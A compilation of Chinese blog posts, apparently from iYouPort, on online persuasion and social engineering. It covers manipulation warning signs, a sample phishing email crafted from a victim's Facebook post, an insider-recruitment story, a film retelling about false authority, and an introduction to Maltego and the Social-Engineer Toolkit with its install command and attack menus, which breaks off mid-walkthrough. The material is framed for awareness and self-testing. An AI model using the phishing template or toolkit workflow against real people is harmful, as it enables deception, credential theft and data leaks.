丰富的表情能拉近人际距离，更多人依靠表情提升亲和度，本身是有效的，但同时也淡化了对观点内容的注意力。此外，喜欢在文字中间夹入表情或者连续发表情的人比较谨慎，更关注对方和环境对自身的反馈，也就是说，沟通起来较为便利，但对认知的影响还需要视其基础政治意识水平若何来区别，也就是说，有目的的沟通需要事先做些功课。政治意识水平与被影响程度的关系早前本网有分析。

其次，成本升高时，用户会更为简洁的表达。有证据可表明，力求简洁会对传达的信息类型及接受者的感知方式产生影响。比如手机打字不方便会阻碍讨论的深度，网页版或者平板电脑客户端沟通可以部分解决这个问题；对于墙内的网友来说，选择微信就比选择推特私信成本更低，于是推特私信很可能不会形成闲扯的对话模式，语言会更为精炼。

还有同步性对于理解媒介交流来说也是重要的，因为一旦人们觉得不

必立刻回复，那么就有机会将有限的认知资源转移到当前消息上。然而即使在这些情况下，接受信息的一方也不会觉得自己就必须立即回复。相比面对面，网上可以隐身（假装不在线），对不喜欢回应的信息置之不理，有目的的沟通就会中断，对探讨来说也是个物理性难度。要想形成探讨，就需要抓住信息的价值，注意是对对方来说的价值，而不是对自己，很多交流者容易以己度人，认为自己感兴趣的话题他人就感兴趣。另外一种价值就是能为回应者自身带来的价值，比如彰显自身的认知水平、影响力等等。在引发话题的时候考虑进去，有助于促进互动。

在面对面的条件下，当分歧是由观点的差异所导致的时候，更有力的观点影响更大。而当采用听觉通道的条件下，只有当分歧是由目标的差异所导致时，更有力的观点影响才会更大。讨论观点差异的时候，参加者在听觉通道条件下比面对面条件下更多能被有力的论点说服。文字也一样，只是比语音信息的影响强度更弱一些。

也就是，相比下听觉讨论比面对面讨论能导致更多观点变化。口语化文字交流也有近似的效果，对方较容易理解为倾听。面对面状态下，当人们要讨论个人隐私的时候他们会降低目光接触，于是网络社交应用变成了谈论私人问题的首选渠道。个体自认为的隐私程度也有很大关系，有些人面对陌生人的时候认为个人政治立场就是隐私，于是网上交流效果会更好。

两个关系较近的人往往更倾向于彼此意见一致，而且对某个观点的任何分歧显然更可能来自连线的另一端，而不是来自身边的人。

与面对面的方式相比，通过社交应用或匿名的方式进行群租讨论时，群组成员更多会转向决策表的极端（被称作为群组极化），因为成本较现场更大、发布者更急于自证。

人类有两种基本意识形态，客观的自我意识和主观的自我意识。对自我的社会方面的关注称之为“公正性自我意识”。公正性自我意识被一些情景所唤起，这些情景使人们意识到自己正在被评价、被判断，或应该负起责任。沟通就是要用语境创造这种情境，淡化主观自我意识便可形成有效的影响。

需要注意的是，网络媒介交流固然的“视觉匿名效应”实际上是增强了而不是减弱了人们的自我关注。自我意识被提升了，个体就会更多管理自身对他人形成的印象，并监控来自他人的反馈。这就是社交网络的效果。于是这此方面，网络沟通的难度相比线下更高。

此外，长篇书写重构了意识，它将理解者和理解的内容分离开来，并且在作者和读者之间制造距离，于是论述文章的感染力较低，对影响效果来说不如即时发布的短评。

表达存在的问题

表达本身也存在问题。社交网络需要彰显明确的立场，更多人喜欢喊口号、整大词，以突出观点玄妙，缺乏务实的积极，着眼于细节的思考往往不被重视。更重要还有思路的固化，有些写手很难从其他角度去审视问题，于是造成了经常被回复“我就知道你会这么说”，假设如此，那之后即便认同也不过是情感维系，跟内容本身已经无关。

另外就是，表达者和回应者的思考层面往往不一致，导致沟通后的路径不在计划内。比如前阵，有朋友发布观点称「我们应该更多谈自由而不是民主，因为民主虽然由选举产生，但如果全民大部分人都有野蛮倾向，那么选举出来的人会是……类似希特勒吗」。这样表达会形成一个超大的题目，其中包括很多小的议题，比如：选举不过是民主的表现形式之一、社会极端主义生成的情境、社会人格对认知行为习惯的影响、多数人的暴政为什么是伪民主，等等。在社交网络上没可能充分分析并讨论，于是人们往往会针对其中一点做回应，但发布者并不知道对方的心理，而是根据自己的思路继续下去，首先选取可反驳的部分，以维护自身正确。这样的沟通有可能是低效的，在看客眼里就是南辕北辙，也就形不成影响。

社交网络沟通在尽可能简洁的基础上需要选题的针对性更强、实用性更显见，为回应者提供便捷的关注目标。如果字数受限，建议尽可能展示思路，用感染力来带动思考，也就是推理型认知（见前文），而不是直接下结论。舆论场面对生硬的结论基本上就只有两种选择了：认同还是反对，于是就带不到推理认知层面，基于情感就直接枪毙了。

知觉性理论认为一个行为者会假定对方了解自己的意图，从而高估自己对于对方的影响。是交流中的双方经常出现的问题。

观点本身的冲突是很难化解的，因为各方思路就不同，选取的观察侧面、表达的目的、甚至语境都不甚一致，但只要立场是一致的，沟通便有可能实现。不同的思路能交织在一起是好事，可以为各方带来更宽阔的视野……

———未完待续———

原文

人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

当今社会最阴险的却经常被忽视的攻击威胁之一，针对的不是基础设施，而是人性弱点

「图」

人类是充满弱点的生物体，他们中即产生攻击者也产生被攻击者，两者都一样有弱点。攻击成功意味着被攻击者的弱点处于暴露状态。对弱点的利用就是社交工程学的主要课题。

请不要误会，社交工程学事实上的应用是非常广泛的，小到如普通的交往、谈恋爱、找工作、谋求加薪晋级，大到追求正义的反抗、深度调查性新闻、以揭露阴暗为目的的卧底……当然，还有致命的破坏性的攻击行为，针对任何有利的目标。

它是工具也是武器，就像砖头，能用来盖房也能用来打得别人头破血流。本博客就不介绍社交工程学在恋爱方面的用途了，而是专注于其最具毁灭性的利用，因为，我们的强大对手正在利用这一工具作为武器，以期随时能击倒我们。我们保护自己的方法将需要建立在知己知彼的基础上，就好像，如果你想防止被骇客摧毁，那就需要让自己像一个专业骇客那样去思考。

我们不想用“网络安全”这样的词了，这个词已经被当权者污染并借此来实施有利于他们的一切歪招，目的是随时打击我们。我们需要自己的*安全*，以破败他们的阴谋暗算，反攻回去。

人性弱点通常是网络防御战略中最薄弱的环节，即使你采取了我们推荐的所有基于技术本身的安全措施、对任何网络威胁保持警惕，你也很可能没有意识到，在社交媒体上一点点放松警惕的小疏忽都有可能带来不可想像的危险，不仅会暴露你自己，还会将你的家人、朋友和公司，全部暴露给攻击者。

就如我们在上一篇文章中所演示的那样，一场看似普通的旅行，其结果很可能是致命的。攻击者不会仅仅玩键盘侠，在网上跟踪你的一切，他们的实际目标是现实生活中的你 — — 通过你糟糕的毫无防备社交媒体设置和表达，攻击者可以构建完美的操纵和迫害模型。请注意：他们不只有谋求钱财美色的流氓，还有那些一直在千方百计寻求你的弱点以便可以把你扔进监狱的政权。你需要知道该如何防御这些潜在的威胁。

如何才能发现自己被操纵了？

专业的操纵“艺术”要求其步骤如此小、如此微妙，几乎不可见。话虽如此，但成功的操作确实有一些“关键”的东西在里面，这些恰恰有助于我们确定它何时会发生，比如下面这样：

- 攻击者可能会看起来非常迷人和友好。他们可能与您非常相似，就像您久违的老朋友那样，你会感觉到一种相见恨晚的快感……还记得我们在“劝导术”系列中介绍的关于骗子的特点吗？嗯，就是那样。但是要知道，并不是说一些看起来很讨厌的家伙、无厘头的挑衅者就不会是有目的的社交工程师，尤其是在网上，这要根据情况具体分析。但警惕那些以大众情人般的姿势接近你的家伙是的确必要的。
- 攻击过程中他们会试图孤立目标对象。他们需要确保你不会和其他人一起讨论他们灌输给你的谎言。实现这一目标的一种有效方法就是：让攻击者在你身上构建一种「我们对他们」的心态。例如，让你相信你为之工作的公司是邪恶的，或者你的同事和朋友都是为了陷害你才存在于你身边的。这样，由于恐惧你就更有可能把这些谎言保密起来，也就不会得到旁观者清的揭穿了。
- 小心，任何让您感到情绪激动或恐慌的电子邮件或电话 — — 这是一种经典的攻击技术。通过让你感到焦虑、恐慌、愤怒等等，攻击者可以操纵你冲动地行动，而不会在逻辑上思考。这和你的智商没关系，而是人性弱点，无法控制刺激性情绪。你越是匆忙或担心，你就越有可能犯错！民粹主义政客的宣传大喇叭利用的也是民众这种心理弱点。

延伸阅读：《"//为什么说“我也是”这句话有些时候是非常危险的//"，关于“虚假帮派骗术”》

我们将在下一篇独立的文章中详细介绍关于套话的技术，展示对人性弱点的充分利用。肯定有你想不到的东西。还是要说“感谢”社交网络，正是它，激发了几乎所有现实中潜在的人性弱点，你将能看到，

这个时代的人是何等的容易被操纵。

面对可能的社交工程攻击，你需要在一片虚构中对事实做出清晰的排序

防御社交工程攻击要记住的第一件事就是，攻击者希望你随口说出或透露出一些东西。以钓鱼邮件为例，通常这将包含他们需要您点击的恶意链接或附件。因此，您收到的任何要求您点击链接或附件的*未经请求*的电子邮件都应该暂停一下，专注于考虑其真实性。

这在理论层面是伟大的; 然而，大多数网络钓鱼攻击都是以创造情感反应、而不是逻辑反应的方式，制作的。如果我能让你产生情绪化反应（愤怒、焦虑或兴奋），我就可以阻止你从逻辑层面上思考，并让你做出冲动的举动。它们还会呈现一种紧迫感，“中午时分提供将结束”或“下午3点前支付有效过期不候”……这是为了让你自发地而不是通过逻辑地做出反应。如果您收到的电子邮件或社交媒体消息让你产生了强烈的情绪，请立即停顿一下，先喝杯咖啡上个厕所，然后再回来。我保证你将以不同的方式看到它！

延伸阅读：《"//互联网上的人为什么如此容易被骗？//"》（请忽略假新闻的概念，这篇文章中呈现的互联网人的关键弱点，可以被利用来做任何事）

最常见的社交媒体错误操作是什么？

我从人们那里听到的一个常见论点是，他们并不认为自己在社交媒体上的公开张贴会成为什么威胁，因为“他们没有什么可隐瞒的”。哦不，出于多种原因，这是极其错误的想法。要知道，你可能还没有遭遇恶性攻击，那不过是因为幸运到了离谱的程度 — — 每次都赶上狼吃饱了，而且，你无法确保自己一直如此幸运下去：

- 首先，仅仅因为你没有可隐藏的丑闻或秘密并不意味着你对攻击者来说不值钱。我们与特定人员分享帖子和图片，这是我们的选择。如果不是我们想要的话，我们就不希望与每个人分享。于是你的分享、点赞等操作就是你的人格呈现，即便你一句评论都没有，我也能从中看出你的可被利用的弱点。这绝不是什么创意性玩意，扎克伯格一直以来很大程度上就是利用了你的分享点赞记录，赚了大钱；
- 其次，如果您的帐户没有锁定或设置为私密，您不可能知道是谁正在查看您的帖子，为什么他们正在看，以及他们将如何处理这些看到的信息；

- 常见的误解是，攻击者正在寻找一些肮脏的丑闻，以便索取你的贿赂。这确实发生过，但很少见。下面让我提供一种相比下很简单的、可以使用公开信息发起攻击的方式，请体验一下它的危险性。

想象一下，我是攻击者。我找到了一个潜在的目标，叫 Rebecca，她在社交媒体上发表了大量的文章。她的 Facebook 设置为私人的，所以我们看不到她的任何帖子。但是我们可以看到她有 900 多个朋友。这意味着，总的来说，她可能会接受她根本不认识的人作为“朋友”的添加申请。所以我将她添加为朋友将很容易获得接受。在大多数情况下，隐私设置基本形同虚设，作为“朋友”，我可以看到一切。在 Rebecca 的时间线上我很快就找到了一个目标帖子：

> “今晚在曼彻斯特的美食汉堡厨房与女孩们一起聚会。这是我最喜欢的餐厅 — 我是一个忠诚的老顾客，我应该得到免费的饮料和优惠！“

看起来很无辜是吧？嗯。仅此一条，我就可以使用它在第二天向目标人发送恶意钓鱼邮件：

> “亲爱的 *Rebecca*，感谢你昨晚光顾美食汉堡厨房。我们希望你和你的朋友在这个晚上过得非常愉快。由于您是如此忠实的客户，我们决定为您提供 *50*% 的下午餐优惠。请点击下面的链接拿到您的优惠券！“

评测一下，你觉得 Rebecca 点击该链接的机会是多少？很高，我可以保证。我们使用她的 Facebook 帖子中的特定信息使我们的陈述看起来非常合理。Rebecca 没有被发现任何脏兮兮的丑闻，这只是关于一个晚上和闺蜜聚会的帖子，就足以让她受到攻击。

这可不是全部，只是一点点，一点点。你经常能看到，一个家庭出门旅行回来就发现被盗了，你的孩子贴了一张自拍照就被暗网的儿童色情罪犯用作了广告，当然，就如我们先前在 #OSINT 揭露腐败的技术中所呈现的那样，富家子弟和政客的亲属也能因此栽得头破血流。

「图」

呈现一个操纵案例

请不要小看了自己，也许您真的觉得自己没有利用价值而放松警惕，事实上，您的价值不是您自己能掌握的，而是操纵者在掌握，您永远

不可能知道对另一个人来说，你这个人意味着什么。它甚至有可能不是直接价值，而是一个很巧妙的跳板。

来，讲个故事。

我们的主人公是 Jessica，一个年轻的毕业生，刚刚在一家大型公司找到了她的第一份工作。该公司在网络安全方面投入了大量资金，并拥有一支技术娴熟的安全护盾团队。

Jessica 在社交媒体上花了很多时间。她在所有主要平台上都拥有不少朋友和粉丝。她贴出的照片是她的家人、宠物、生活方式和旅行。当然没什么特别的，就像你知道的那些人一样。看起来很平庸吗？不，绝不是。

有一天，另一个叫 Nina 的女孩在 Facebook 上向她发送了一个朋友请求。Jessica 接受了，两个女孩开始交谈。在接下来的几个月里，他们形成了牢固的友谊。他们相处得很好，**Nina** 喜欢与 **Jessica** 几乎完全相同的东西，事实上，她们的交流反映了彼此对几乎所有事物的看法。

Nina 对 Jessica 的工作表现出浓厚的兴趣。她说她渴望做类似的工作。 Jessica 热衷于分享关于她的工作和她正在进行的项目的各种细节。Nina 总是会去点赞。

有一天，Nina 问 Jessica 是否可以帮她一个忙。她告诉 Jessica，她接受了 Jessica 工作的那家公司的面试邀请，还没有应约。她让 **Jessica** 不要告诉任何人，因为她们是好朋友她应该保密。女孩子的小秘密，你知道的，充满了甜蜜的味道。因此， Jessica 同意保密，并且非常高兴能与她的新朋友在同一家公司工作。

Nina 说她也很兴奋，但“有一个问题。我非常渴望得到这份工作，你知道我一直在努力赚钱。我虽然是个弱者。我知道其他一些有本事的女孩，她们比我知道的东西要多得多。“

此时两个姑娘的关系已经很融洽了，不顾一切地想要看到朋友的 Jessica 说：“我会帮助你的！告诉我，你需要什么帮助，我们可以排练关于面试和工作的一切“。

Nina 回答说：“我已经做了一些研究，我想你肯定有一些客户对吧，对有些客户你很快就会展开工作。我没时间对它们进行全面研究了，你能不能给我一份客户名单和你正在使用的推销想法？这样我就可以

根据目标量身定制我的想法了，他们就会爱我的！“

Jessica 同意帮助她的朋友。Nina 说她不想被取消入职的资格，所以 Jessica 应该让她的一位同事打印出这些信息，这样就无法追溯到她了。Nina 还告诉 Jessica 把打印件放在她的包里，然后在家进行扫描，再发送电子邮件给 Nina。Jessica 做到了这一点。对她来说这太容易了，还能帮朋友，何乐不为。她们很快就能成为同事了啊，对一个新入职的员工来说，在微妙的办公室政治风浪中是多么需要一个亲密伙伴呢。

那天之后，Jessica 再也没有从 Nina 那里听到任何事。这个“Nina”彻底消失了。我们发现“Nina”是假的。事实上，“她”来自受到攻击的公司的竞争对手。他们基本上把 Jessica 变成了恶意的内幕突破口，而完全没有被意识到！

⚠ 请重点关注上面故事中被突出编辑的黑体字，那是关键的细节。

我知道，这个故事也许会让你感觉不舒服。我们都想要朋友，尤其是在这个超个人主义的冷漠时代里，孤独是我们共有的伤疤。但是，鉴于这些文章的主题，我们有义务告诉你这类状况的存在，尤其是当你是一个组织的负责人，或者一家公司的领导，你应该知道如何在防止人性弱点的层面上培训你的下属，以免他们因为善良而令你和你的事业陷入困境。

我们尤其希望提醒民间组织和独立团队的负责人，你需要吸纳那些真的在乎和理解安全防御知识的盟友，如果你不希望自己的团队从内部被摧毁的话；即便你只是一个独立的个人，你想做一些有价值的事，也需要特别注意！请与熟悉安全知识的人交往，否则，他们有可能在不知不觉中就把你带入了危机境地。反过来，如果你只是想交往有能力的朋友，同样需要提升自己的能力，让自己在现实中变得更加可靠可信。

每个人都应该练习的安全规则有哪些？简要介绍 — —

- 永远不要在社交媒体应用上启用位置服务，不要在任何地方发送你的坐标，包括私密聊天中;
- 尽可能让你的所有社交媒体帐户都设置为私有。如果你希望拥有更多的公共帐户，请务必仔细审核内容！不要拿出任何个人的东西，你要在互联网上谈论自己！
- 隐藏你在 Facebook 上拥有的朋友的数量和姓名。这将使攻击变得更加困难；

- 如果你希望公开分享帖子，应该停下来思考，你是否乐意与全世界以及其中的所有好人和坏人分享这些内容。如果是，那就发布。如果不是，删掉它！

在线保护自己有什么好的经验法则？

我经常模仿社会工程师的策略，以查看公司和个人的弱点在哪里。如果你知道是哪些东西帮到了攻击者，那么你就知道应该如何做出改变。请记住那句流行语："像骇客一样思考"。

以下是一些重要提示：#隐私设置：检查您的 Facebook 帐户是否已锁定。删除那些您实际上并不认识的人，并隐藏您拥有的朋友数量。检查一些历史帖子上的设置，你会惊讶地发现我能找到多少线索！

- 审核自己：在线搜索自己的名字或者常用 **ID**，看看你能找到什么。如果有任何过于个人的或您没有意识到而存在着的东西，请立刻将其删除。
- 帖子：小心你发布的照片中可以看到的内容！我最近发现可以通过扫描航空公司登机牌上的条形码，从中获取人们的出生日期；显示您年龄的贺卡和生日照片也可以告诉我您的出生日期；我可能会在一张位置不佳的自拍照上看到您的门牌号码；您的宠物项圈上的电话号码、或您在手机上使用的应用程序。不要只是检查照片是否讨人喜欢，看看镜头中还存在什么东西！
- 谈论：与朋友和家人分享有关安全的信息。截取网络钓鱼电子邮件的屏幕截图以警告其他人（不要将网络钓鱼电子邮件转发给其他人）。我们必需动员更多的人加入到这场防守战中来，才能让攻击者失去市场。

我们的读者中有不少技术高手，通过回复就可以看出，不论是攻心技术还是数字技术，这让我们感觉很兴奋。但与此同时，我们也看到了另一些读者过于轻敌的表态。轻敌是一种立场或被称为"士气"，但它绝不是策略。轻敌无法成为武器，正相反会让你陷入因疏忽而导致的弱点毕露。尤其是当你并没有完全娴熟于上述技术时，请切莫放松警惕。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

人性的懦弱：社交工程攻击和行为操纵的便捷入口 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

“网信办最新通知下达：通过任何渠道发布一切与政治、政策、军事有关内容或言论的单位和个人均需获得审批，未经审批擅自发布者将依法处理“

「图」

看到上面那条按语时，您的感受是什么？

是的，那是一条假消息 — — 这类我们曾经称之为“自我维稳”的假消息一直在中文网络上流行，而且其中大多编得比这条更复杂、更“详细”，活灵活现。这些消息普遍充满了漏洞、且无从查证，只要仔细想想就能知道，但是它们依然在流传。并且，经常被局部掌控他人发言权的人（如群主、单位领导等）引用来压制成员或下属的言论。

如果你指出其不实，立刻就有很多人跑来帮你解释为什么“当局能做得出这样的事“、为什么”如果你不信就会面临危险“等等，就连怀疑消息不实的人也会告诉你：“宁信其有”。如果我是网信办，根本就不需要发布某些正式的禁令 — — 相关文件将留下扼杀言论自由的证据，只需要等着被吓坏的人们编造出形形色色的假消息，就能杀死互联网上大半的言论。

这类假消息为什么能骗人？仅仅是由于它们挂上了一个“权威”来源的名头。

因为人们太害怕了。权威被认为需要无条件的被服从、不容置疑、不得挑战，于是，利用权威来骗人是非常容易得手的。它的依据是人性中最为普遍的骨子里的懦弱。

反抗者永远都是极少数。

反抗的基础是真实的情报和专业的分析，而不是被虚假消息所恐吓。

如果后者得逞，将意味着即便真实情报摆在面前，也将无法发挥作用。

关于人性的懦弱，先介绍一部电影（去年上映的）《Der Hauptmann》。故事发生在1945年4月11日，二战结束前两周的德国。在颓丧气息的笼罩下，德军各个部队陆续出现士兵逃跑或走散的现象。男主角 Willi Herold（威利·赫罗德）就是其中之一。

逃兵向来都是被唾弃的，影片的开场就是赫罗德被行动部队追杀的画面。不过他命大，活了下来。在饥寒交迫之际，他发现了路边一辆被弃的汽车，里面不仅有食物，还有一套崭新的军官制服。一阵狼吞虎咽之后，他尝试着换上了衣服。

或许，赫罗德原本只是出于保暖的目的换上大衣，但偏偏此时从远处走来一个士兵，看见赫罗德的装扮张口就喊「长官」。士兵称自己和原部队走散了，希望能够被收入赫罗德的麾下，一边说着还殷勤地去帮忙开车。

当长官被人服侍的感觉自然要比做又冷又饿的逃兵好得多，于是赫罗德决定把这场戏演下去。

仅仅一层外包装，就让一个逃兵摇身一变成了手握重权的上尉。

当晚，他们就靠着「赫罗德上尉」的身份蹭吃蹭住；第二天又名正言顺地「拜访」农场，大吃大喝。要知道，就在前两天，赫罗德也曾来过这里想偷点吃的，却被主人举着犁耙赶了出来，差点命都不保。

才一天的功夫，他就陆陆续续收编了一组士兵，甚至拥有了两架高射炮。

他还装模作样地在这些人的士兵证上写上「赫罗德卫队」。

之后，这伙人来到一个营地，那里实际上是「逃兵集中营」。

在战争末期，很多逃兵为了生存开始打家劫舍，偷盗、抢劫的现象时有发生，他们在被军队逮捕后，既不能送回前线，又无人处置他们，只能关在营地中等候发落。这些逃兵中，有的已经年老体弱，有的看起来才不过十六七岁。

这位原本也应该被关在这里的「赫罗德上尉」，为了掩盖身份继续演戏，谎称自己是受「最高首领」的命令，来这里视察逃兵状况。

但戏剧性的是，曾经追捕赫罗德的军官，正巧也在此地。

事实上，那位军官一眼就看出了赫罗德不过是个「冒牌上尉」，但他并没有揭穿这件事，因为他需要借这位「伪权威」来扩大自己的权力。

在他所属的国防部看来，被关押的逃兵们每天都在消耗原本就不充裕的物资，营地管理员早就想找个理由，杀死这些一无是处的“寄生虫”；但司法部不同意，要求必须通过正规的「军事法庭」制裁这些逃兵。

当然，司法部的负责人也并不是什么好东西，他把逃兵当人质来威胁他们的妻女奉献肉体。

僵局之下，赫罗德的出现就变得非常关键了。既然「赫罗德上尉」是由首领直接授权，权辖应当就在两位部门主管之上，他说要支持国防部「消灭寄生虫」，司法部自然就无话可说。那位军官正是借赫罗德的头衔 — 以假乱真 — 来压制司法部，而且一旦出现问题，也只需要全盘推给赫罗德即可。

在营地军官的支持下，赫罗德的行为愈发猖狂，也愈发残忍。他默许手下搜刮逃兵们的财物，看着逃兵被肆意殴打虐待，而每个人都对他言听计从，不敢反抗。

他称呼这些逃兵为「猪猡」，因为当初别人就是这么叫他的；而他最喜爱的杀人方式，就是先让对方逃跑，等距离差不多了再开枪击杀，这同样也是在模仿自己曾经的遭遇，他就是因此才幸存下来的。

但赫罗德的手段显然更残忍：他压根不留求生的可能性。他用绳子把这些人绑起来，让他们一起跑，只要有一个人被击倒，其他人就得拖着尸体继续往前跑。直到最后一个人，拖着其他三具尸体难以动弹……

手握权力的快感，令赫罗德深深着迷。在这些逃兵身上，他疯狂发泄着暴力的欲望，似乎越是展现自己的权威，就越能洗刷掉自己曾经作为逃兵所受到的羞辱。

最终，他下令对整个营地的逃兵囚犯进行「大屠杀」。屠杀的场面令人胆寒 — — 为了「加快效率」，他们以30名逃兵为一组，把这些人赶入事先挖好的大坑，直接用炮弹轰炸。如果还有幸存没死的，就再逐一击毙。

也许你会好奇，在赫罗德兴风作浪的这段时间里，为何没人站出来揭穿他？那个军官想借他的虎威，故意不戳穿，可其他人呢？只要检查一下他的士兵证，一切谎言便会不攻自破。但唯一要求他出示证件的宪兵队长，只因一句“元首钦定”，就被吓得哑口无言。

赫罗德收入麾下的第一位列兵，也就是最初替他开车的司机，一直都对他的恶行嗤之以鼻，虽然怀疑他的真实身份，但也没有胆量揭发他。

赫罗德最精明的一点，就是擅于拉人入伙，让怀疑他的人与其同流合污。在对逃兵进行屠杀时，赫罗德特意找来司机，让他射杀那些没在炮弹轰炸中死去的囚犯。原本还存有一点良知的司机，此刻也变得恶魔附身，并在射杀完成后毕恭毕敬地向赫罗德敬礼，报告任务执行完毕。

在这样一个扭曲的环境里，任何一个好人，都会变成刽子手。

不，这不仅仅是电影！这个故事是完全真实的。

Willi Herold 威利·赫罗德这个人在历史上真实存在（文章开始的链接中是此人的维基百科页面），他出生于1925年，一位屋顶工人的儿子。因为在德国下萨克森州埃姆斯兰营地（Emslandlager）的残暴屠杀而被称为「Emsland 的刽子手」。据维基百科上的介绍，他在营地的八天时间里，谋杀了超过100 名同胞。而他当时只有 19 岁！

一个月后，德国宣布投降，赫罗德因偷盗行为被皇家海军逮捕，经调查后被确认为战犯；半年后，赫罗德及其手下被占领英军要求挖掘当初被杀害的集中营囚犯，一共挖掘出了195具尸体。1946年11月14日，赫罗德在断头台上被处决，终年21岁。

「图」

到此为止还没有结束哦。你可能想到了经典电影《浪潮》中的心理操纵演示？而这部电影并不完全一样，在于其神奇的结尾（上图）：

赫罗德和他的手下们「时空穿越」出现在了现代德国一个小镇的街头，他们肆无忌惮地调戏街头的姑娘，抢夺路人的手机，频频做出挑衅的姿态。然而，路人的反应却令所有人吃惊，他们大多数选择了服从而不是反抗……

类似的故事在今天的社会依然发生着。

对口号和宣传不辨黑白的接受、对制服和官衔不问缘由的服从，对禁令和规则不分对错的遵守……在权威面前，人类比自己想象的更加懦弱。

是的，您猜对了。本周我们的博客计划与伪装有关，准确说是社交工程学的重要步骤，即 利用虚假身份引诱他人满足自己的目的。

权威不一定指的是足够高的官衔，它是作为攻击计划的一个重点环节，其伪装的身份必需能满足整体计划的实施，即 你需要得到什么这一目标。只要能完美的伪装成基于目标的领域的权威，后面的步骤将变得非常简单。

其实我们希望提醒的是，对权威的依赖和无条件的认同和服从非常有害，没有清醒的独立判断就没有公民权，没有反对就没有民主。民主需要所有人一起努力才能维护，而威权独裁可以轻而易举地实现，因为它建立在对人性弱点的利用之上。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

侦查和欺骗：这里是社交工程攻击必备的技术工具 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

反抗绝不是简单的异议，反抗需要充分的知识技能、高超的心智和实战经验

「图」

此前我们已经做过多次攻击演示，足够说明一些微小的细节性疏忽都会导致严重的后果，如果遇到高手的话，那是防不胜防的。人性弱点具有极高的可利用性，但除了不断警告这些可能的威胁之外别无他法。而多数人尚且没有遭遇到社交工程攻击的高手，于是很难体验到这些警告意味着什么，直到中招，为时已晚。

社交工程学方法已经被越来越多的政府用来监视和渗透反对派群体。在这里看到中国使用这种方法攻击异议的一个小案例。

为了突破这一矛盾，我们可以试着反过来讲述这个问题，即 展示社交工程攻击的基本操作，如果您能理解这些技术的作用，就能体会到应该如何保护自己。如果您有一个正义的目标，而这些“程序不正义”的工具是否可以帮到您……将由您的价值观来决定。我们不会做建议。

我们更希望提供的知识能帮助那些追求安全保障的团体和个人，如果您还没有聘请专业的渗透测试技术人员的话，可以借此自行测试一下，看看您和您的团队的安全意识有多可靠。

好的，我们开始。

信息战这个词如今又变成了安全领域的热词，而它并不是个新词。自古以来作战要想赢得胜利，情报都是其中最基础的关键因素 — — 从情报收集、到分析、到策划行动。社交工程攻击也一样，社交工程师决胜的武器就是对目标人的数据收集，掌握充分的情报才能从中分析出目标最可能具备的弱点，以便加以利用。如果在收集方面下力不足，将导致整个行动严重失败。

如今随着数字化程度迅速加深，信息收集已经变得更加简单了，要知道早年的私人侦探为了收集基本信息可是要花费数周甚至数月的时间。现在所有人都在网上，很多顺手的技术工具可以大幅提高生产力，不仅能收集、还能分类及有效运用信息。

我们先从收集工具开始介绍。打开互联网资源大门。

Maltego

这个东西我们以前介绍过，在开源调查技术中。是的，开源调查和社交工程攻击使用了很多同样的技术，很明显前者是正义的，后者“程序不正义”。本文将专注于一系列“不正义”的玩法。

信息收集是很多不专业社交工程人员的薄弱环节。如果存在一种工具可以同时对一个域名、IP 地址、甚至是一个人进行几十种搜索；能提示各项信息的权重，显示信息是否重要；还有一个 GUI 界面，可以用不同的颜色表示不同的对象，可以将数据导出利用，最重要的是还有免费版，你觉得怎么样？

Maltego 就是这样的迷人，它简直就是攻击者的梦想。这个神奇的工具由 Paterva 公司的员工开发，免费版可以在它们网站下载，BackTrack4 的每一个版本都集成了 Maltego 程序。如果您想解除免费版的功能限制，需要花费大约 600 美元就可以得到完整版授权。

将 Maltego 视为一个信息的关系型数据库，能发现互联网上信息之间的联系（在应用中称为实体）。Maltego 在后台做了很多工作，如挖掘电子邮件地址、网站、IP地址和域信息。点击几下鼠标就可以通过目标域名自动搜索到所有相关电子邮件的地址信息。

只需要在屏幕上简单地增加“电子邮件”转换器，输入想要搜索的电子邮件地址，就可以得到下面这样的效果：

「图」

很棒吧。而传统的分析方法你必需用钉子和红线挂满整面墙。**Maltego** 能自动采集大量信息并为用户实现数据的自动关联，可以节省大把的搜索和分析的时间。Maltego 真正的强大之处在于找到这些数据之间的关系 — — 数据挖掘的确是基础要务，但将信息关联起来无疑是更具直接价值的彩蛋。

其他好用的信息收集工具详见上两篇文章：

Social Engineer Toolkit — SET 社交工程工具包

Social-Engineer Toolkit 是一个专为社交工程设计的开源渗透测试框架。 SET 有许多自定义攻击向量，可以让你快速进行可靠的攻击。这个强大的工具包是流行工具 FastTrack 的开发者 David Kennedy 创建的。一些简单的 Python 脚本可以让社交工程人员制造出附加恶意代码的 PDF 文件并随邮件发送。如今它已成为渗透测试的标准工具包。

」安装

步骤十分简单，只需安装 Python 和 Metasploit 框架。这两个软件在 BackTrack发行版中已经存在，所以不用担心。BackTrack4 中甚至已经包含了 SET。如果需要从头安装，过程也十分简单，依据导航进入安装目录，在控制台窗口运行以下命令：

svn co http://svn.secmaniac.com/social_engineering_toolkit set/

执行完命令之后将得到一个名为 set 的目录，该目录下包含了所有 SET 工具。

」运行 SET

过程也十分简单，只需在 set 目录下输入 ./set，就会启动初始菜单，看到下面这样

- 社交工程攻击
- 快速追踪测试
- 第三方模块
- 升级软件
- 升级配置
- 帮助
- 退出

选第一个，然后：

- 鱼叉式网络钓鱼攻击
- 网页攻击
- 传染媒介式攻击（俗称木马）
- 建立 payloaad 和 listener
- 邮件群发攻击
- Arduino 基础攻击

- 无线接入点攻击
- 二维码攻击
- Powershell 攻击
- 第三反模块
- 返回上级

选第二个，然后：

- java applet 攻击（网页弹窗那种）
- Metasploit 浏览器漏洞攻击
- 钓鱼网站攻击
- 标签钓鱼攻击
- 网站 jacking 攻击
- 多种网站攻击方式
- 全屏幕攻击
- 返回上级

以下是两种最常用的攻击形式：鱼叉式网络钓鱼攻击，和网站克隆攻击。分头演示一下。

1、钓鱼攻击

社交工程测试人员使用 SET 可以创建有针对性的电子邮件，对客户进行测试，记录有多少人上当，然后利用这些信息做针对性培训，帮助人们识别和避免这些陷阱。

在上面菜单中选择 1，会出现以下内容：

- 执行群发邮件攻击
- 创建一个文件格式负载
